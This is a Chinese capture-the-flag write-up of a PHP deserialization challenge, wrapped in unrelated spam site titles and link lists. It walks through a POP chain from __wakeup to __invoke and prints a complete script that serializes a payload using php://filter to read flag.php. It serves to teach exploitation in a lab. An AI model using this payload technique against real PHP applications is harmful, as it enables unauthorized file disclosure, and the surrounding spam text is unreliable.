当前位置: 首页 > news >正文

小型项目外包网站全网最稳最低价自助下单网站

小型项目外包网站,全网最稳最低价自助下单网站,加强学校网站建设的必要性,做网贷网站这道题对于刚接触到pop链的我直接把我整懵了,一边看着魔术方法一边分析 魔术方法可以看这里PHP 魔术方法 - 简介 - PHP 魔术方法 - 简单教程,简单编程 (twle.cn) 代码解析 经过以上的分析我们可以理一下解题思路:接收参数反序列化之前先触发…

这道题对于刚接触到pop链的我直接把我整懵了,一边看着魔术方法一边分析

魔术方法可以看这里PHP 魔术方法 - 简介 - PHP 魔术方法 - 简单教程,简单编程 (twle.cn)

代码解析

经过以上的分析我们可以理一下解题思路:接收参数反序列化之前先触发wakeup方法,进行一些过滤防止ssrf,我们可以将source赋值为实例对象触发tostring方法

如果我们将str赋值为Test类的一个对象,因为读取不到source触发get魔术方法

再将Test类中的p赋值为Modify类的一个对象,对象被当作函数使用直接触发invoke

方法,从而包含文件用伪协议读取出来

链子大概就是这样:show->__wakeup->__tostring->Test->__get->Modify->__invoke->append->include

因为var是protect属性无法在类外进行访问,所以我们直接进行复赋值

直接上我的脚本了,先将三个类实例化出三个对象a,b,c  通过这三个对象来访问类内部的变量

$c->p = $a将Test中的p赋值为一个Modify对象,用来触发invoke方法
$b->source = new Show()因为通过$b这个对象进行访问的,所以需要source赋值一个新的Show对象,用来触发__toString方法
$b->source->str = $c中$b->source已经成为一个新的Show实例对象,通过该对象访问str,为其赋值为$c(Test类的对象),又因为Test类中访问不到source资源从而触发get方法

最后进行url编码是因为protected属性的变量会输出一些不可见的字符,直接复制显示就是乱码无法构成成功攻击,进行一次url编码即可,浏览器会自动解码的

class Modifier {protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";public function append($value){include($value);	//包含flag.php}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __toString(){return $this->str->source;	//将Test实例化的对象给str,在Test中不存在source,此处调用__toString时触发__get方法}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;
//    public function __construct(){
//        $this->p = array();           没用,注释掉
//    }public function __get($key){$function = $this->p;return $function();	//触发__invoke方法}
}$a = new Modifier();
$b = new Show();
$c = new Test();
$c->p = $a;
$b->source = new Show();
$b->source->str = $c;
echo urlencode(serialize($b));

得到一串base64

解码得到flag

http://www.yayakq.cn/news/545237/

相关文章:

  • 维护一个网站的费用wordpress影院
  • 做网站的成本费用html5手机微网站
  • sentos上部署.net网站创业小项目 个人创业电商
  • 最全的网站大全手机网站app生成
  • .net网站设计村官 举措 村级网站建设
  • 南宁市建设局网站网站建设平台开发
  • 手机单机游戏网站大全新乡公司网站建设
  • 如何制作免费永久网站typo wordpress theme
  • jsp网站开发实训上海做网站哪里好
  • 设计网站建设合同书6网站建设页面设计
  • 请问有没有做网站平面设计配色
  • 阿里云 做购物网站网站山东省建设厅执业资格注册中心网站
  • 怎么做360网站排名外包公司和劳务派遣
  • c 可以做网站嘛网站开发协议百度
  • 百度云主机上装网站如何建设营销型网站
  • 网站首页的动态效果图怎么做大连搜狗
  • 巨腾外贸网站建设网页排版设计软件
  • 广州最好的网站建设昆明公司建设网站制作
  • 自己做充值网站怎么找公众号帮推广
  • 网站建设中upl连接深圳市潮流网络是不是外包
  • 3d网页游戏大全windows优化大师怎么使用
  • 网站关键字被改了seo百度网站排名软件
  • 外卖网站 模板找做网站公司
  • 官方网站建设 就问磐石网络专业浙江省互联网建设网站
  • 龙口城乡建设局官方网站黄冈公司做网站
  • 抖音的电子商务网站建设wordpress 源码分析
  • 饶阳营销型网站建设费用sem推广什么意思
  • 重庆网站建设解决方案wordpress阅读付费主题
  • 茶叶公司商城网站建设备案个人网站名称推荐
  • 在线免费建网站互联网保险平台哪家最好